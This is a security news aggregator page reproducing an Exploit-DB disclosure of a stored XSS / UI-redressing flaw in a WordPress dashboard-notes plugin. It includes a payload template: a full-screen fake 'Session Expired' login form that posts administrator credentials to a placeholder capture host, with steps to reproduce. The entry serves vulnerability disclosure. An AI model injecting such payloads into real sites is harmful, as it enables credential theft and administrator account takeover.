Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Exploit-DB

[webapps] KeepInMind 0.8.4.2 - Stored XSS

  • What: KeepInMind 0.8.4.2 has a stored XSS vulnerability
  • Impact: Could allow attackers to inject malicious scripts into the application
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING KeepInMind 0.8.4.2 - Stored XSS EDB-ID: 52614 CVE: 2026-9271 EDB Verified: Author: PAVAN N Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-07-06 Vulnerable App: # Exploit Title: KeepInMind 0.8.4.2 - Stored XSS # Date: 2026-06-12 # Exploit Author: Pavan N # Vendor Homepage: https://wordpress.org/plugins/keepinmind-dashboard-notes/ # Software Link: https://downloads.wordpress.org/plugin/keepinmind-dashboard-notes.0.8.4.3.zip # Version: <= 0.8.4.2 # Tested on: WordPress 6.x / Linux # CVE: CVE-2026-9271 # CVSS Score: 9.0 (Critical) 1. Technical Description: The KeepInMind - Dashboard Notes plugin (version 0.8.4.2 and below) fails to properly restrict dangerous CSS properties within the 'wp_kses' sanitization filter when processing the 'content' parameter via its REST API endpoint. Authenticated attackers with Contributor+ privileges can inject custom HTML/CSS utilizing 'position: fixed', 'z-index', and viewport units (vw/vh). When an Administrator views the dashboard, the payload renders globally over the viewport, redressing the UI to spoof a high-fidelity "Session Expired" re-authentication prompt, enabling administrative account takeover. 2. Proof of Concept / Payload Template: An attacker sends a POST request to the plugin's note-saving REST endpoint with the following HTML payload structure: <div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 999999; background: #f0f0f1;"> <form action="http://example.com/capture.php" method="POST"> <h3>Session Expired. Please log in again.</h3> <input type="text" name="log" placeholder="Username"> <input type="password" name="pwd" placeholder="Password"> <input type="submit" value="Log In"> </form> </div> 3. Steps to Reproduce: a. Log in as a Contributor user. b. Issue a request to update/create a dashboard note containing the layout-redressing payload. c. Log in as an Administrator and navigate to the main dashboard page. d. Observe the entire administrative interface obscured by the injected container. Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article